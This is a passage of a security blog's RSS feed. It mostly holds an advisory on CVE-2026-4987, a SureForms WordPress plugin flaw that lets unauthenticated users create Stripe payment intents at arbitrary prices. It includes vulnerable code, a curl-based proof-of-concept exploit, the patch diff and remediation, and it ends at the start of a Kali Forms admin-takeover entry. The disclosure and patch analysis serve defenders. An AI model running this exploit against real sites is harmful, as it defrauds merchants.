&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/contact-form-by-supsystic/&quot;&gt;Plugin on WordPress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-03-30T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-4987: Unauthenticated Payment Bypass in SureForms</title><link>https://hurayraiit.com/blog/cve-2026-4987-unauthenticated-payment-bypass-in-sureforms/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-4987-unauthenticated-payment-bypass-in-sureforms/</guid><description>CVE-2026-4987 is a CVSS 7.5 (High) unauthenticated payment amount validation bypass in SureForms (&lt;=2.5.2). Attackers can create Stripe payment intents at any arbitrary price by setting form_id to 0, bypassing all configured amount validation.</description><pubDate>Sun, 29 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-4987&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.5 (High)&lt;/strong&gt; unauthenticated payment amount validation bypass vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/sureforms/&quot;&gt;SureForms – Contact Form, Payment Form &amp;amp; Other Custom Form Builder&lt;/a&gt; WordPress plugin. Affecting all versions up to and including 2.5.2, this flaw allows any unauthenticated attacker to create Stripe payment intents at a self-specified price — including fractions of a cent — by passing &lt;code&gt;form_id=0&lt;/code&gt; to bypass the server-side amount validation entirely.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SureForms – Contact Form, Payment Form &amp;amp; Other Custom Form Builder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sureforms&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4987&quot;&gt;CVE-2026-4987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Improper Input Validation — Unauthenticated Payment Amount Validation Bypass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/sureforms.2.5.2.zip&quot;&gt;&amp;lt;= 2.5.2&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/sureforms.2.6.0.zip&quot;&gt;2.6.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;March 27, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/jack-pas&quot;&gt;Jack Pas (Dark.) - Black Lantern Security&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/sureforms/sureforms-252-unauthenticated-payment-amount-validation-bypass-via-form-id&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The SureForms – Contact Form, Payment Form &amp;amp; Other Custom Form Builder plugin for WordPress is vulnerable to Payment Amount Bypass in all versions up to, and including, 2.5.2. This is due to the &lt;code&gt;create_payment_intent()&lt;/code&gt; function performing payment amount validation conditionally — only when &lt;code&gt;form_id &amp;gt; 0&lt;/code&gt;. Since &lt;code&gt;form_id&lt;/code&gt; is a user-controlled POST parameter, an unauthenticated attacker can bypass the configured payment amount validation entirely by setting &lt;code&gt;form_id&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt;. This makes it possible to create underpriced Stripe payment intents (and subscription intents) at any amount the attacker chooses, regardless of what was configured in the form.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Hook Registration&lt;/strong&gt; — &lt;code&gt;inc/payments/front-end.php&lt;/code&gt;, lines 41–44:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action( &apos;wp_ajax_srfm_create_payment_intent&apos;, [ $this, &apos;create_payment_intent&apos; ] );
add_action( &apos;wp_ajax_nopriv_srfm_create_payment_intent&apos;, [ $this, &apos;create_payment_intent&apos; ] );
add_action( &apos;wp_ajax_srfm_create_subscription_intent&apos;, [ $this, &apos;create_subscription_intent&apos; ] );
add_action( &apos;wp_ajax_nopriv_srfm_create_subscription_intent&apos;, [ $this, &apos;create_subscription_intent&apos; ] );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both AJAX actions are registered with &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt; hooks, making them accessible to &lt;strong&gt;unauthenticated visitors&lt;/strong&gt; via &lt;code&gt;wp-admin/admin-ajax.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nonce Generation&lt;/strong&gt; — &lt;code&gt;inc/helper.php&lt;/code&gt;, line 2282:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;payment_nonce&apos; =&amp;gt; wp_create_nonce( &apos;srfm_payment_nonce&apos; ),
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Nonce Exposure&lt;/strong&gt; — &lt;code&gt;inc/frontend-assets.php&lt;/code&gt;, lines 318–325:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp_localize_script(
    SRFM_SLUG . &apos;-stripe-payment&apos;,
    &apos;srfm_ajax&apos;,
    [
        &apos;ajax_url&apos;      =&amp;gt; admin_url( &apos;admin-ajax.php&apos; ),
        &apos;payment_nonce&apos; =&amp;gt; $frontend_nonces[&apos;payment_nonce&apos;],
    ]
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;srfm_payment_nonce&lt;/code&gt; is injected as &lt;code&gt;srfm_ajax.payment_nonce&lt;/code&gt; into the page source of any page containing a SureForms payment form. Any visitor to that page can read the nonce directly from the HTML source.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Vulnerable Function&lt;/strong&gt; — &lt;code&gt;inc/payments/front-end.php&lt;/code&gt;, lines 71–96:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function create_payment_intent() {
    // Verify nonce.
    if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[&apos;nonce&apos;] ?? &apos;&apos; ) ), &apos;srfm_payment_nonce&apos; ) ) {
        wp_send_json_error( __( &apos;Invalid nonce.&apos;, &apos;sureforms&apos; ) );
    }

    $amount         = intval( $_POST[&apos;amount&apos;] ?? 0 );
    $currency       = sanitize_text_field( wp_unslash( $_POST[&apos;currency&apos;] ?? &apos;usd&apos; ) );
    $description    = sanitize_text_field( wp_unslash( $_POST[&apos;description&apos;] ?? &apos;SureForms Payment&apos; ) );
    $block_id       = sanitize_text_field( wp_unslash( $_POST[&apos;block_id&apos;] ?? &apos;&apos; ) );
    $customer_email = sanitize_email( wp_unslash( $_POST[&apos;customer_email&apos;] ?? &apos;&apos; ) );
    $customer_name  = sanitize_text_field( wp_unslash( $_POST[&apos;customer_name&apos;] ?? &apos;&apos; ) );
    $form_id        = intval( $_POST[&apos;form_id&apos;] ?? 0 );   // &amp;lt;-- user-controlled

    if ( $amount &amp;lt;= 0 ) {
        wp_send_json_error( __( &apos;Invalid payment amount.&apos;, &apos;sureforms&apos; ) );
    }

    $amount_processed_with_currency = Stripe_Helper::amount_from_stripe_format( $amount, $currency );

    // VULNERABLE: validation only runs when form_id &amp;gt; 0
    if ( $form_id &amp;gt; 0 &amp;amp;&amp;amp; ! empty( $block_id ) ) {
        $validation_result = Payment_Helper::validate_payment_amount( $amount_processed_with_currency, $currency, $form_id, $block_id );
        if ( ! $validation_result[&apos;valid&apos;] ) {
            wp_send_json_error( $validation_result[&apos;message&apos;] );
        }
    }
    // If form_id == 0, validation is silently skipped — any amount is accepted
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;The &lt;code&gt;validate_payment_amount&lt;/code&gt; Function&lt;/strong&gt; — &lt;code&gt;inc/payments/payment-helper.php&lt;/code&gt;, lines 581–650:&lt;/p&gt;
&lt;p&gt;This function reads the form&apos;s payment block configuration from post meta, then enforces either:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fixed amount&lt;/strong&gt;: the submitted amount must match exactly (within ±0.01).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Variable amount&lt;/strong&gt;: the submitted amount must be ≥ the configured minimum.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When bypassed, none of these checks run.&lt;/p&gt;
&lt;p&gt;The identical vulnerability exists in &lt;code&gt;create_subscription_intent()&lt;/code&gt; at lines 243–305 of the same file.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The condition &lt;code&gt;if ( $form_id &amp;gt; 0 &amp;amp;&amp;amp; ! empty( $block_id ) )&lt;/code&gt; treats payment amount validation as &lt;strong&gt;optional&lt;/strong&gt;. The intent was likely to skip validation when no form is associated, but it inadvertently creates a bypass: any attacker who passes &lt;code&gt;form_id=0&lt;/code&gt; causes the condition to evaluate as &lt;code&gt;false&lt;/code&gt;, and the entire amount validation block is skipped. The payment intent is then created at whatever arbitrary amount the attacker specified.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;The WordPress nonce check (&lt;code&gt;wp_verify_nonce&lt;/code&gt;) that guards the endpoint provides &lt;strong&gt;CSRF protection only&lt;/strong&gt; — it does not authenticate the caller. The nonce value is embedded in every page that renders a SureForms payment form as &lt;code&gt;window.srfm_ajax.payment_nonce&lt;/code&gt;, making it publicly readable to any site visitor. Because the action is also registered with &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt;, no login is required. Thus:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Attacker visits any page with a SureForms payment form.&lt;/li&gt;
&lt;li&gt;Attacker reads &lt;code&gt;srfm_ajax.payment_nonce&lt;/code&gt; from the page source.&lt;/li&gt;
&lt;li&gt;Attacker crafts a POST request with &lt;code&gt;form_id=0&lt;/code&gt;, any &lt;code&gt;amount&lt;/code&gt;, and the obtained nonce.&lt;/li&gt;
&lt;li&gt;The nonce check passes. The amount validation is skipped. A Stripe payment intent is created.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create Stripe payment intents at any amount they choose (e.g., 1 cent for a $500 fixed-price form).&lt;/li&gt;
&lt;li&gt;Create underpriced Stripe subscription intents at any amount or interval they choose.&lt;/li&gt;
&lt;li&gt;If the attacker then completes checkout using the fraudulently-priced intent, the merchant receives far less money than the product/service is worth.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;sureforms&lt;/code&gt; plugin installed and activated (version &amp;lt;= 2.5.2)&lt;/li&gt;
&lt;li&gt;Stripe connected and at least one payment form published on a publicly accessible page&lt;/li&gt;
&lt;li&gt;Plugin configured with a payment field (fixed or variable amount)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Obtain the nonce from the page source&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Visit any page where a SureForms payment form is embedded. In the HTML source, locate the inline script that WordPress injects for the &lt;code&gt;srfm-stripe-payment&lt;/code&gt; script handle:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
var srfm_ajax = {
    &quot;ajax_url&quot;: &quot;https://example.com/wp-admin/admin-ajax.php&quot;,
    &quot;payment_nonce&quot;: &quot;abc123def456&quot;   &amp;lt;-- copy this value
};
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or extract it with &lt;code&gt;curl&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NONCE=$(curl -s https://YOUR-SITE.com/your-payment-page/ \
  | grep -oP &apos;&quot;payment_nonce&quot;\s*:\s*&quot;\K[^&quot;]+&apos;)
echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Obtain the block_id from the page source&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;While reviewing the page source, find the &lt;code&gt;data-block-id&lt;/code&gt; attribute on the Stripe payment block element, or locate the &lt;code&gt;block_id&lt;/code&gt; value passed in legitimate AJAX requests (visible in browser DevTools Network tab when the real form loads). Alternatively, send the request with an empty &lt;code&gt;block_id&lt;/code&gt; — the bypass still works because the check is &lt;code&gt;if ( $form_id &amp;gt; 0 &amp;amp;&amp;amp; ! empty( $block_id ) )&lt;/code&gt;, so both conditions must be true to trigger validation; setting &lt;code&gt;form_id=0&lt;/code&gt; alone is sufficient.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Create an underpriced payment intent&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send a POST request with &lt;code&gt;form_id=0&lt;/code&gt;, any arbitrary &lt;code&gt;amount&lt;/code&gt; (in Stripe&apos;s smallest currency unit — e.g., &lt;code&gt;1&lt;/code&gt; = $0.01 USD), and the real nonce:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;https://YOUR-SITE.com/wp-admin/admin-ajax.php&quot; \
  -d &quot;action=srfm_create_payment_intent&quot; \
  -d &quot;nonce=${NONCE}&quot; \
  -d &quot;amount=1&quot; \
  -d &quot;currency=usd&quot; \
  -d &quot;form_id=0&quot; \
  -d &quot;block_id=&quot; \
  -d &quot;description=Test Payment&quot; \
  -d &quot;customer_email=attacker@example.com&quot; \
  -d &quot;customer_name=Attacker&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server responds with a Stripe &lt;code&gt;client_secret&lt;/code&gt; for a payment intent of $0.01:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;success&quot;: true,
  &quot;data&quot;: {
    &quot;clientSecret&quot;: &quot;pi_xxxxx_secret_yyyyy&quot;,
    &quot;paymentIntentId&quot;: &quot;pi_xxxxx&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Complete checkout at the manipulated price&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Use the returned &lt;code&gt;clientSecret&lt;/code&gt; to confirm the Stripe payment intent from the browser (via Stripe.js) or via the Stripe API directly, completing a $0.01 purchase for a product priced at any amount by the merchant.&lt;/p&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The merchant&apos;s Stripe account receives a payment intent for $0.01 USD instead of the form&apos;s configured amount (e.g., $100.00), resulting in an unauthorized financial transaction at a fraudulent price.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Check the Stripe dashboard (or &lt;code&gt;stripe listen&lt;/code&gt; webhook output) — a payment intent will appear for &lt;code&gt;$0.01&lt;/code&gt; with the &lt;code&gt;source: SureForms&lt;/code&gt; metadata tag, confirming the validation bypass succeeded.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The patch modifies two functions in &lt;code&gt;inc/payments/front-end.php&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;create_payment_intent()&lt;/code&gt; (lines 71–244)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;create_subscription_intent()&lt;/code&gt; (lines 251–410)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A new file &lt;code&gt;inc/submit-token.php&lt;/code&gt; was introduced implementing the &lt;code&gt;Submit_Token&lt;/code&gt; class.&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch addresses the root cause through two complementary changes:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Replaced WordPress nonce with form-bound HMAC token (&lt;code&gt;inc/submit-token.php&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The new &lt;code&gt;Submit_Token&lt;/code&gt; class generates HMAC-SHA256 tokens that are cryptographically bound to a specific &lt;code&gt;form_id&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static function generate( int $form_id ): string {
    return self::sign( $form_id, self::current_window() );
}

public static function verify( string $token, int $form_id ): bool {
    // Checks against current + previous windows using hash_equals()
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A token generated for &lt;code&gt;form_id=5&lt;/code&gt; is &lt;strong&gt;cryptographically invalid&lt;/strong&gt; for &lt;code&gt;form_id=0&lt;/code&gt; or any other form ID. This eliminates the bypass entirely — the attacker cannot forge a token for &lt;code&gt;form_id=0&lt;/code&gt; because it would require knowing the site&apos;s WordPress auth salt.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Made payment amount validation mandatory (not conditional)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The conditional bypass was replaced with a hard rejection:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-if ( $form_id &amp;gt; 0 &amp;amp;&amp;amp; ! empty( $block_id ) ) {
-    $validation_result = Payment_Helper::validate_payment_amount(...);
-    if ( ! $validation_result[&apos;valid&apos;] ) {
-        wp_send_json_error( $validation_result[&apos;message&apos;] );
-    }
-}
+if ( $form_id &amp;lt;= 0 || empty( $block_id ) ) {
+    wp_send_json_error( __( &apos;Invalid form configuration.&apos;, &apos;sureforms&apos; ) );
+}
+
+$validation_result = Payment_Helper::validate_payment_amount(...);
+if ( ! $validation_result[&apos;valid&apos;] ) {
+    wp_send_json_error( $validation_result[&apos;message&apos;] );
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Validation is now unconditional. Any request without a valid &lt;code&gt;form_id &amp;gt; 0&lt;/code&gt; is rejected outright.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Is the fix complete?&lt;/strong&gt; Yes — the combination of form-bound tokens (preventing &lt;code&gt;form_id&lt;/code&gt; manipulation) and mandatory validation (refusing &lt;code&gt;form_id=0&lt;/code&gt;) closes both the bypass vector and the logical fallback. No residual risk was identified.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/inc/payments/front-end.php (2.5.2)
+++ b/inc/payments/front-end.php (2.6.0)
 public function create_payment_intent() {
-    // Verify nonce.
-    if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[&apos;nonce&apos;] ?? &apos;&apos; ) ), &apos;srfm_payment_nonce&apos; ) ) {
-        wp_send_json_error( __( &apos;Invalid nonce.&apos;, &apos;sureforms&apos; ) );
+    // Verify submit token.
+    $token   = isset( $_POST[&apos;token&apos;] ) ? sanitize_text_field( wp_unslash( $_POST[&apos;token&apos;] ) ) : &apos;&apos;;
+    $form_id = isset( $_POST[&apos;form_id&apos;] ) &amp;amp;&amp;amp; is_numeric( $_POST[&apos;form_id&apos;] ) ? absint( $_POST[&apos;form_id&apos;] ) : 0;
+    if ( ! Submit_Token::verify( $token, $form_id ) ) {
+        wp_send_json_error( __( &apos;Security verification failed. Please refresh the page and try again.&apos;, &apos;sureforms&apos; ) );
     }

     ...
-    $form_id = intval( $_POST[&apos;form_id&apos;] ?? 0 );
+    $form_id = isset( $_POST[&apos;form_id&apos;] ) &amp;amp;&amp;amp; is_numeric( $_POST[&apos;form_id&apos;] ) ? absint( $_POST[&apos;form_id&apos;] ) : 0;

-    if ( $form_id &amp;gt; 0 &amp;amp;&amp;amp; ! empty( $block_id ) ) {
-        $validation_result = Payment_Helper::validate_payment_amount( $amount_processed_with_currency, $currency, $form_id, $block_id );
-        if ( ! $validation_result[&apos;valid&apos;] ) {
-            wp_send_json_error( $validation_result[&apos;message&apos;] );
-        }
-    }
+    if ( $form_id &amp;lt;= 0 || empty( $block_id ) ) {
+        wp_send_json_error( __( &apos;Invalid form configuration.&apos;, &apos;sureforms&apos; ) );
+    }
+
+    $validation_result = Payment_Helper::validate_payment_amount( $amount_processed_with_currency, $currency, $form_id, $block_id );
+    if ( ! $validation_result[&apos;valid&apos;] ) {
+        wp_send_json_error( $validation_result[&apos;message&apos;] );
+    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;March 27, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 27, 2026&lt;/td&gt;
&lt;td&gt;CVE-2026-4987 assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 27, 2026&lt;/td&gt;
&lt;td&gt;Patched version 2.6.0 released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 28, 2026&lt;/td&gt;
&lt;td&gt;Advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;sureforms&lt;/code&gt; plugin to version &lt;strong&gt;2.6.0&lt;/strong&gt; or later immediately.&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible, temporarily disable the SureForms payment functionality by deactivating the plugin until the update can be applied.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3488858/sureforms&quot;&gt;https://plugins.trac.wordpress.org/changeset/3488858/sureforms&lt;/a&gt; — Official patch changeset&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/sureforms/sureforms-252-unauthenticated-payment-amount-validation-bypass-via-form-id&quot;&gt;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/sureforms/sureforms-252-unauthenticated-payment-amount-validation-bypass-via-form-id&lt;/a&gt; — Wordfence Advisory&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4987&quot;&gt;https://www.cve.org/CVERecord?id=CVE-2026-4987&lt;/a&gt; — CVE Record&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-10T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-3584: Kali Forms Unauthenticated RCE &amp; Admin Takeover</title><link>https://hurayraiit.com/blog/cve-2026-3584-kali-forms-unauthenticated-rce-admin-takeover/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-3584-kali-forms-unauthenticated-rce-admin-takeover/</guid><description>CVE-2026-3584 (CVSS 9.8 Critical) lets any unauthenticated attacker call wp_set_auth_cookie(1) via Kali Forms &lt;= 2.4.9 and take over the WordPress admin account in a single HTTP request.</description><pubDate>Sat, 28 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-3584&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated Remote Code Execution vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/kali-forms/&quot;&gt;Kali Forms&lt;/a&gt; WordPress plugin (Contact Form &amp;amp; Drag-and-Drop Builder). By submitting a crafted form request — no login required — an attacker can call &lt;code&gt;wp_set_auth_cookie(1)&lt;/code&gt; and receive a live WordPress administrator session cookie in the response. This gives the attacker full site takeover in a single HTTP request. Active mass exploitation has been recorded, with over 312,200 blocked attempts since public disclosure.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kali Forms — Contact Form &amp;amp; Drag-and-Drop Builder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kali-forms&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3584&quot;&gt;CVE-2026-3584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Remote Code Execution → Authentication Bypass → Admin Takeover&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bug Bounty&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$2,145.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/kali-forms.2.4.9.zip&quot;&gt;&amp;lt;= 2.4.9&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/kali-forms.2.4.10.zip&quot;&gt;2.4.10&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;March 20, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/ismailshadow&quot;&gt;ISMAILSHADOW&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
